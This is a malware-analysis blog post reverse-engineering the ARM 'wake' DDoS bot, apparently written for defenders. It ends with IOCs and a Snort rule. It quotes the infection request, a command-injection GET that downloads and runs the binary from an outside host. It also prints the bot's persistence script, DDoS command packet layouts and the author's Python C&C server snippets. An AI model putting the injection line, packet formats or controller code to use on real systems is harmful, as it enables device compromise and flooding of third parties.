lundi 21 août 2017

Meet the "Wake" malware: DDOS and more!


My latest blogpost was detailing how to setup a qemu ARM system to do malware analysis, it's now time to use it for analyze an unknown binary. I went to https://reverse.it website, and found the 'wake' binary, which looks promising:

0/ In case of TL;DR

Risk assessment:
  • This binary can be used to launch DDos and execute command
  • The binary protocol for communicating with C&C has been reversed, a client is provided
  • This binary has a good OPSEC: 
    • we can't recover its C&C from the binary itself
    • it looks like a ddos tool, but can upgrade itself and execute commands 
  • This binary works as root and non-root user
    • Note that some part doesn't work as non root user
  • All this binary have been dissassed and analyzed
    • It's probably built on differents sources codes
Threat Intel:
  • IOC are given in the end of the document

1/ Passive reco


mitsurugi@dojo:~/infected$ ls -l Arm1 ; md5sum Arm1 ; sha256sum Arm1 
-rw-r--r-- 1 mitsurugi mitsurugi 676071 Aug 17 11:48 Arm1
8a3ca4a67e6d8af6834b96e4ac1457b6  Arm1
33c5374b0a1802a19d7787a65096cb049635c2e965b66d902456ca7e9c5d35b5  Arm1
mitsurugi@dojo:~/infected$ file Arm1 
Arm1: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, for GNU/Linux 2.6.14, not stripped
mitsurugi@dojo:~/infected$ readelf -h Arm1 
ELF Header:
  Magic:   7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 
  Class:                             ELF32
  Data:                              2's complement, little endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  ABI Version:                       0
  Type:                              EXEC (Executable file)
  Machine:                           ARM
  Version:                           0x1
  Entry point address:               0x8130
  Start of program headers:          52 (bytes into file)
  Start of section headers:          570328 (bytes into file)
  Flags:                             0x5000002, Version5 EABI, <unknown>
  Size of this header:               52 (bytes)
  Size of program headers:           32 (bytes)
  Number of program headers:         6
  Size of section headers:           40 (bytes)
  Number of section headers:         30
  Section header string table index: 27
mitsurugi@dojo:~/infected$

2/ Quick analysis

We saw that binary is not stripped, so we can read all of the function names,
and begin to find things with strings utility.

2/1/ Function names:

nm can list symbols from object files:

mitsurugi@dojo:~/infected$ nm -P Arm1 | awk '$2 == "T" && $1 !~ /^_/ {print "b " $1}'
b Calcpuuser
b ConnectServer
b DelayClose
b GetIp
b Getcpuinfo
b Getsysinfo
b Jointhread
b MySleep
b RecvDosMsg
b SendCpuMsg
(...)
b attack_tcp_con
b attack_tcp_http
b attack_tcp_std
b attack_tcp_syn
b attack_udp_root
b attack_udp_std
(...)
b initwake
b jiemihttp
(...)
b matow
(...)
b system
(...)
mitsurugi@dojo:~/infected$

This is really interesting. Those function name tend to see this binary as a DDos tool.
The first guess is that binary will do a ConnectServer to its C&C, then wait for RecvDosMsg
and do the attack_* based on the DosMsg.

It took some time for me to figure that 'jiemi' means 'Revealing' or 'secret' in chinese, so the jiemihttp
function could look interesting.


2/2/ strings the binary



mitsurugi@dojo:~/infected$ strings -10 Arm1
/proc/cpuinfo
%*[^:]: %d
/proc/stat
%s  %u %u %u %u
/proc/net/dev
eth0:%Lu %*d %*d %*d %*d %*d %*d %*d %Lu
/proc/self/exe
 while true;do
  server=`netstat -nlp | grep :39999`
  if [ ${#server} -eq 0 ] ; then
     nohup %s -c 1 &
/usr/bin/wake
/etc/init.d/wake
### BEGIN INIT INFO
# Provides:          wake
# Required-Start:    $remote_fs
# Required-Stop:     $remote_fs
# Default-Start:     2 3 4 5
# Default-Stop:      0 1 6
# Short-Description: Start or stop the HTTP Proxy.
### END INIT INFO
case "$1" in
    nohup /usr/bin/wake -c 1 &
update-rc.d wake defaults 99
chkconfig --add wake
chkconfig wake on 
nohup /usr/bin/wake -c 1 &
/dev/watchdog
/dev/misc/watchdog
update-rc.d -f wake remove
chkconfig --del wake
/proc/self/exe
wget -O %s %s
shell fail
/usr/bin/shell
nohup /usr/bin/shell -c 1 &
wget %s -O -
curl %s -O -
GET %s HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, app
lication/vnd.ms-powerpoint, application/msword, */*
Accept-Language: zh-cn
Accept-Encoding: gzip, deflate
User-Agent:Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; SV1)
Connection: Keep-Alive
(... nothing really interesting after...)
mitsurugi@dojo:~/infected$ strings Arm1 | grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b"
127.0.0.1
mitsurugi@dojo:~/infected$

We can see some info:

  • There is something with the TCP port 39999
  • This program seems able to resgister itself for startup with 'wake' name (?) and Proxy (??) capability
  • The Accept-Language is set to zh-cn (attribution dice is broken, so nothing more to say).
  • No obvious C&C DNS name or IP address


2/3/ OSINT

Right before doing analysis and reversing, we can search for info.

It says that the binary comes from this request:
GET /cgi-bin/;wget%20-O%20/tmp/Arm1%20http://172.247.116.3:8080/Arm1;chmod%200777/tmp/Arm1;/tmp/Arm1 HTTP/1.1\r\n
Host: 81.171.12.232\r\n
Connection: keep-alive\r\n
Accept-Encoding: gzip, deflate\r\nAccept: */*\r\n
User-Agent: python-requests/2.13.0\r\n\r\n

Which says the same thing.

So, this binary is uploaded through a known vulnerability and targets Avtech device.

This post gives some info about the infection.


As the primary vector uses a python-requests User-Agent, we can think that this is scripted to crawl and
infect as many targets as possible. The fact that we found a sample in x86 is an indication that code is meant to be reused through different platforms/attack vector.

At the time of writing, virustotal has a detection ratio of 22/58 and name is frequently one of those:
  • malware
  • Ddos
  • Agent
  • Trojan
  • Backdoor

2/3/ Partial conclusion

If it looks like a duck, swims like a duck and quack like a duck, it can be call a duck.
This really quick glance at this binary tells us that this is not legitimate software and can be placed in the infected/ folder.

We have a first vector of infection which targets a known vulnerability in order to upload and execute the malware.
what's missing now is the purpose of this malware, the IP address of the C&C and th protocol used to communicate between client and C&C.

It's time now to analze deeply this binary in order to understand all of its capabilities.

3/ Full reversing

The debug setup is the one explained here

Everything has been done under gdb and common unix tools. I use the .gdbinit script
from osxreverser in order to help me in reversing. If you want to use, beware that 
the way of calculating the branch taken or not doesn't work all the time.

As it works with threads, I set the scheduler-locking with "step" mode:

user@router1 ~/infected $ gdb Arm1
Reading symbols from Arm1...(no debugging symbols found)...done.
gdb$ b * main
Breakpoint 1 at 0x8924
gdb$ r
Starting program: /home/user/infected/Arm1 
--------------------------------------------------------------------------[regs]
  R0:  0x00000001  R1: 0xBEFFF744  R2:  0xBEFFF74C  R3:  0x00008924
  R4:  0x00013B90  R5: 0x00000000  R6:  0x00013B48  R7:  0x00000000
  R8:  0x00000000  R9: 0x00000000  R10: 0x00000000  R11: 0x00000000 
  R12: 0xBEFFF678  SP: 0xBEFFF5F8  LR:  0x0001368C  PC:  0x00008924  n Z C v q j e a i f t 
--------------------------------------------------------------------------[code]
=> 0x8924 <main>: push {r4, r11, lr}
   0x8928 <main+4>: add r11, sp, #8
   0x892c <main+8>: sub sp, sp, #1568 ; 0x620
   0x8930 <main+12>: sub sp, sp, #4
   0x8934 <main+16>: str r0, [r11, #-1552] ; 0xfffff9f0
   0x8938 <main+20>: str r1, [r11, #-1556] ; 0xfffff9ec
   0x893c <main+24>: ldr r2, [pc, #1408] ; 0x8ec4 <main+1440>
   0x8940 <main+28>: mvn r3, #0
--------------------------------------------------------------------------------

Breakpoint 1, 0x00008924 in main ()
gdb$ set scheduler-locking step
gdb$ 

Because it stops all threads when a breakpoint is encountered. When you 'stepi' or 'c' all threads start until the next breakpoint. That's really nice to inspect all registers or switch from a thread to another.

This work started with a strong static analysis, and a dynamic one after, once I figured that this binary will not break things. Once I figured the basics of the network protocol I begun to write a server, which helped me a lot for dynamic analysis.

The analysis VM was fully firewalled in a protected environment, and tcpdump was running in host machine to confirm and track every packets send and received.

3/1/ From startup to full DDos

3/1/1/ The mysterious tcp port 39999 is only a watchdog

The main() function begins to setup some constants, then open the port 39999 for listening. There is two important points here:
  • It opens 127.0.0.1:39999 for listening, and only 127.0.0.1, it's hardcoded.
  • There is absolutely no function implemented that parse the data sent through that port, so we have to understand what's the purpose of this server.
If the binary has root rights, the main() function creates a script /usr/bin/wake:

#!/bin/bash
 while true;do
  server=`netstat -nlp | grep :39999`
  if [ ${#server} -eq 0 ] ; then
     nohup /home/user/infected/Arm1 -c 1 &
  fi

So we understand that the 39999 port is only used as a watchdog:
If binary dies, port is closed, and /usr/bin/wake script will start it again. There is no proxy capability, this information printed in the startup file is maybe only a decoy.

The bot grabs some information of the underlying infected host, (uname -a), IP address, and if it has root rights.

It gets the results of uname -a, the IP address, and the rights of the binary (root or user). Another point really interesting here is that it tries to read from eth0 or ens33 interface. eth0 is the old way of naming linux interfaces, and ens33 is the new way of predict interfaces name. As we saw, this malware targets AVtech camera, and avtech camera uses only old naming scheme. That's perplexing, for another reason, and we'll also come back to this later.

3/1/2/ Changing name

The binary change its name with an ioctl(). If you do a ps ax you won't see the name of the file. The algorithm used to create a random name is a bit wicked (what for?), and the name can have 5 or 7 chars, all uppercase.

The ps ax shows something like:

user@router1 ~/infected $ ps ax
(...)
 1265 pts/0    Sl+    0:00 GNLXT
 1283 pts/0    S+     0:00 /bin/sh /usr/bin/wake -c 1
(...)

Some fun fact here. This name change only change the 5 or 7 first characters of the binary. So if you rename your binary with a very long name, only the 5 or 7 first chars are changed with random uppercase characters.

3/1/3/ The decryption of the victim's DNS name used to get the real C&C IP:port

The jiemihttp() function is called from main. Jiemi means "secret" or "Revealing" in chinese, and the secret C1c address is decrypted here.
This function will decrypt inplace an URL. As a CTF-Player, I like to reverse those kind of functions, and this one is not really hard:

Breakpoint 2, 0x00009e28 in jiemihttp ()
gdb$ x/s 0x000930D0
0x930d0 <dns>: "c`i/gliwx{-apl-jo//svu"
gdb$

Another blogposts will explain more deeply the reversing, we'll stick to higher understanding here.

Nothing magic here, we follow the algorithm, reverse it then get the name: "bak.hnhxzz.com/ip1.txt"
And all the "encryption" here are in fact only:

The website hnhxzz.com seems to be a legitimate website, and my best guest is that the bak.hnhxzz.com domain have been compromised to hosts the ip1.txt file. At this time, the ip1.txt file doesn't exist anymore so I'm not able to know which IP and port were used for this bot binary. By using a level of this, attacker can hide the real C&C IP address for reverser.

Following the main(), the GetIP() function is called, it just calls wget, or curl (this is important, we'll go back on that later) to get the ip1.txt file containing one line with an IP and a port. There is a little check to verify that the IP is not 127.0.0.1, which can be seen as an anti sandbox technique, maybe.

The ConnectServer() function is called, and main() function almost ends here.

Everything done after is made through threads.

3/2/ Communication from bot to master

All communication from bot to master begin with a 4bytes header:

  •  \x01\x00\x01\x00 : REGISTER client
  •  \x02\x00\x01\x00 : Send statistics regularly
  •  \x05\x00\x01\x00 : result of a command (see server part for this one)

3/2/1/ Registering to C&C

When the bot connects to its C&C, it sends '\x01\x00\x01\x00' then the `uname -a` strings. Some (fun) fact, the result of uname -a is passed through the matow() function which seems to add a \x00 char between each character of the string. Is it an ascii to UTF-8 string? (matow could mean: Make Ascii TO Wide ???)

It can also reveal that the real server is UTF-8 only, and can only print those characters.

If binary is launched with root right, it sends another TCP packet containing 12 bytes, '\x01\x00*12' or 12 null if it doesn't have root rights.
And, yes, there is a lot of null bytes.

3/2/2/ SendCpuMsg

A thread is created for this function. This function open /proc/stat and /proc/net/dev, waits 5s reopen again those files, diff the result to compute some statistics:
  • %CPU Usage
  • Number of bytes sent (divided by 5120 (??))
Every 5s, it sends the data, with a '102' header, 4 nulls, and 8 bytes:
\x02\x00\x01\x00\x00\x00\x00\x00<OutRates><CPU>


What is really interesting here is that /proc/net/dev only checks for a line beginning with eth0. Remember that the sysinfo() tries to read either from eth0 or ens33, here, it only deals with eth0. It could means that some part of the code of this bot is reused, or that the coder doesn't care at all but there is at least a lack of consistency here.

3/3/ Communication from master to bot

All communication from master to bot begin with a 4bytes header:
  • \x03\x00\x01\x00 : DDos commands (with subcommands)
  • \x04\x00\x01\x00 : stop DDOSing
  • \x05\x00\x01\x00 : Send commands, like exit, exec, or update

3/3/1/ 0105 commands

* Exitself and Killself are almost self-explanatory. The difference here is that Exitself only exit the binary, and killself also suppress the /etc/init.d/wake startup scripts.
Juste be carefull that the command is written after 396 bytes of padding in the packet.

The server code part is simply:

    if cmd == 'killself':
        client.send('\x05\x00\x01\x00'+396*'A'+'killself')
    elif cmd == 'exitself':
        client.send('\x05\x00\x01\x00'+396*'A'+'exitself')

* The update command! Really worth it
The update command will download a binary, and replace the Arm1 file on disk (or any other name it has), then stop the binary. There is no mechanism to restart the binary, except the watchdog seen before.

Once again, jump 396 bytes of padding before writing update\x00http://<url>/file\x00

    elif cmd == 'update':
        client.send('\x05\x00\x01\x00'+396*'A'+'update\x00http://172.16.42.42/helloworld\x00')

Another thing, this update command use wget only to download the file. There is no try with curl. I think this tend to say that it's once again some code reuse between different projects, or different coders through time.

* The exec command
If there is something at byte 400 (\x05\x00\x01\x00 + 396 bytes of padding) which is neither the string 'exitself', 'killself' or 'update', everything is passed through a shell and the result is sent back from the client to server. The header is '\x05\x00\x01\x00 + 396 null bytes', and the answer.

My server code check if command starts with a ':' and send the command to the client:

    elif cmd.startswith(':'):
        client.send('\x05\x00\x01\x00'+396*'A'+cmd[1:])

And the parsing of the result:

        elif response.startswith('\x05\x00\x01\x00'):
            status_cli('CMD RESP: '+response[400:])

Here is a transcript of a live session between my server and Arm1 malware binary:

mitsurugi@dojo:~/chall/armv6_stretch$ ./server.py 
('172.16.42.3', 46806) connected

Client <<< REGISTER: Linux router1 4.4.34+ #3 Thu Dec 1 14:44:23 IST 2016 armv6l GNU/Linux
Server >>> 
.
Client <<< DATA
OutRates: 0*5120 bytes; CPU: 3% usage

Server >>> 
.
Client <<< DATA
OutRates: 0*5120 bytes; CPU: 11% usage
.
Client <<< DATA
OutRates: 0*5120 bytes; CPU: 2% usage

Server >>> 
.
.
.
Server >>> :echo owned

Client <<< CMD RESP: owned
.
.
.
Server >>> :id

Client <<< CMD RESP: uid=1000(user) gid=1000(pi) groupes=1000(pi)

Server >>> 
.

Client <<< DATA
OutRates: 0*5120 bytes; CPU: 2% usage

Server >>> 

3/4/ The Ddos commands

Some pcap can be provided for those interested. As this tool is a ddos tool, I'll explain how it works.

3/4/1/ The "stop" command

Stop command is a simple message:
'\x04\x00\x01\x00' which kill all Ddos threads. When attacker launch a DDos, there is no timer, or automatic stop. The only way to stop a ddos is to launch a "stop" command.
This binary only launch a DDos at a time. If attacker wants to switch targets, it has to stop the DDos with the stop command, and start another one.

3/4/2 103 code 4 : http Dos

The format of the packet launching a DDoS is:
    #byte    0: DOS CMD: \x03\x00\x01\x00
    #byte    4: padding
    #byte  272: Victim [ Warning, must be written as @IP:port, 
    #             port is mandatory, but only IP is used.] then padding
    #byte 1424: \x04\x00\x00\x00 => attack type "4" is tcp http
    #byte 1428: 2 bytes TCP port written in ntohs() -> \x50\x00 for TCP 80
    #byte 1430: padding 
    #byte 1442: Number of threads launched for this attack

The DDos is launched. We can note that the DDos send always 1024 bytes. If the request is not long enough, it's filled with Null bytes. The function launch as many thread as specified and loop as fast as possible in each thread sending the requests.


3/4/3/ 103 code 3 : tcp attack 

This code begin to check if binary has root right or not. If it has root rights,
the attack_tcp_syn is launched:
    #DOS CMD:103-3
    #padding
    #byte  272: IP address of victim in ascii finished by null, then padding
    #byte 1424: \x03\x00\x00\x00 => attack type "3" is tcp
    #byte 1428: TCP port in ntohs
    #byte 1440: #of syn to be sent
    #byte 1444: size of data sent to victim

If the binary doesn't have root rights, the attack_tcp_std() is launched, but it fails! The thread doesn't get the data sent from the C&C (bug in the client code?) and doesn't have any IP/port to connect to.


3/4/4/ 103 code 2 : UDP attack

This launch a flood attack on a choosen port with UDP protocol.
Parameters are:
    #byte    0: DOS CMD: \x03\x00\x01\x00
    #byte    4: padding
    #byte  272: IP address of victim in ascii finished by null, then padding
    #byte 1424: \x02\x00\x00\x00 => attack type "2" is udp 
    #byte 1428: UDP port in ntohs
    #byte 1440: Number of threads
    #byte 1444: size of data sent to victim

If the binary has root rights, it can launch an attack called, you guess it, attack_udp_root() . Each packet contains the repetition of a random byte. For the record, I sent an attack with 0x20 bytes size:



If the binary doesn't have root rights, the attack_udp_std() is launched, but it fails! The thread doesn't get the data sent from the C&C (bug in the client code?) and doesn't have any IP/port to connect to.

Fun fact: if you specify a data size too big, you can crash the client due to a buffer overflow.

3/4/5/ 103 code 1 : TCP con attack

The last attack is the attack_tcp_con, and it's a connection attack.

    #byte    0: DOS CMD: \x03\x00\x01\x00
    #byte    4: padding
    #byte  272: IP address of victim in ascii finished by null, then padding
    #byte 1424: \x01\x00\x00\x00 => attack type "1" is tcp con attack
    #byte 1428: TCP port in ntohs
    #byte 1440: Number of threads

The tool just connect to the IP:port and do nothing afterwards. It's maybe a kind of "slow" DDos Tool, where you eat up all connections pool from victim,which is unable to serve its legitimate clients.


3/5/ "Big picture"

As an eagle view, we have:

main()
  launch 127.0.0.1:39999 server as watchdog
  if uid==0:
    register at startup
  GetSysInfo, uname, IP, check for root rights
  Decrypt victim's DNS name holding C&C real IP, and GetIp()
  ConnectServer() connects to the real C&C

ConnectServer()
  Each 5second
    send cpu usage/bandwidth usage
  Wait for commands
    ExitSelf/KillSelf
    Update/Exec command
    Launch/stop DDos

That's all!

3/6/ Implementing a python server/client for Arm1

As I'm not a botmaster, I wrote a server for only one bot. This was enough for
me to understand and monitor the host.
Basically, I launch a recv() in a thread, and in another one I'm waiting commands
with a raw_input(). You can see this in my github repo. Warning, I'm not a coder,
this is the result of tries and fails. It's usable, but don't expect much.

For see it in action, you have to setup a web server containing a file ip1.txt:

echo '172.16.42.42:4444' > ip1.txt
sudo python -m SimpleHTTPServer 80

launch server.py in the 172.16.42.42 host

launch Arm1 binary on 172.16.42.3 host and wait for connections.
For dealing with the name, you can just add the line:
172.16.42.42 bak.hnhxzz.com 
in the /etc/hosts of the machine where Arm1 is launched.

The client is still under development. I'm searching for a C&C alive in order to connect and log all DDos requests. It would be a great insight into targets.

4/ IOC for this binary

Usually, IOC are cheap information, containing only hash and captured traffic from an infected host. This is cheap because attackers can really quickly change every of those indicators. After this work, we can make better ones, because we learn how the traffic is exchanged between C&C and bots. This is much harder for a botmaster to change its network protocol than a hash of a binary or the IP of a C&C.

As we saw previously, the binary uses in a function eth0 or ens33, and in another one only eth0. Another time, it tries to use wget or curl, and another time, only wget. This leads to the conclusion that it's not the same person which write the binary, or that some parts were copy-pasted. If the network protocol is copy pasted from this bot to another one, it's a win for defenders.

Victim register with '\x01\x00\x01\x00' followed by the $(uname -a) of an host in UTF-8.Then, it sends each 5 seconds data beginning with '\x02\x00\x01\x00\x00\x00\x00\x00'

The best way to detect it is to log the REGISTER message. A snort/Suricata rule like this should do the job:


alert tcp any any -> any any (content:"|01 00 01 00 00 00 00 00|"; offset: 0; depth: 8; flow:from_client; msg: "wake malware register"; reference: "http://0x90909090.blogspot.com/"; sid:XXXXXX; rev:1)


Server sends command
\x04\x00\x01\x00 to stop Ddos
\x03\x00\x01\x00 to start a Ddos
\x05\x00\x01\x00 to kill, exec or update the bot. If command is 'exec' or 'update', extraction should be made in order to grab and analyze new binary. Juicy part is here.

5/ Conclusion

This tool can Ddos efficiently, thanks to a usual design of C&C. Bots connect to master and waits for commands.
What is interesting here is this good way of covering tracks. If we have only the binary, we are unable to know where the C&C really is, we can only find the victim which hosts the real IP of the C&C. Plus the addition of remote command and remote update can be a powerfull way to hide a more complex operation: send largely a ddostool, and scan more precisely some of your hosts, then download and execute your real payload.
What is more interesting here is that some part of this binary just doesn't work at all: if you are non root user, tcp and udp attack should work, but doesn't work at all.

With the help of the IOC provided, we can try to follow this particuliar bot, or others bot based on the same code. If you meet one of this malware recently, you can ping me @0xMitsurugi on twitter, I'm searching for a working C&C to play with.

6/ Usual rant against antivirus

Well... This malware wasn't largely spread, it did not meet any success, and I guess that malware analyst have a lot of work to do and can't spent as time as I spent on this one.
But, please:
<<<
This Backdoor opens the following port(s) where it listens for remote commands:
127.0.0.1:39999
>>>
You listen on 127.0.0.1 for *remote* commands?!